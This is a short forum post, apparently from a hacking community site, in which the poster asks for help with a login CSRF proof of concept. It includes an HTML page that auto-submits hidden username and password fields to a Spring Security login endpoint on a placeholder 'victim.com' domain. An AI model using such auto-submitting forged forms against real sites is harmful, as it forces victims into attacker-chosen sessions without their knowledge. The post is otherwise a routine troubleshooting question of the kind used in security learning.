Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
Form submit via JS - CSRF
Hey,
I'm banging my head here, maybe being stupid.. When I submit the following request it wont log me in. However, it logs me in when I use purely HTML markup<input type="submit" value="Submit request" />
Also, when I submit different POST requests, JS submit works fine! :|
(ignore the PHP tags)
[php]<html> <body> <form action="https://victim.com/j_spring_security_check" method="POST"> <input type="hidden" name="j_username" value="uatuser1@victim.com" /> <input type="hidden" name="j_password" value="Aa123456" /> <input type="hidden" name="submit" value="Sign In" /> </form> <script>document.forms[0].submit();</script> </body> </html> [/php]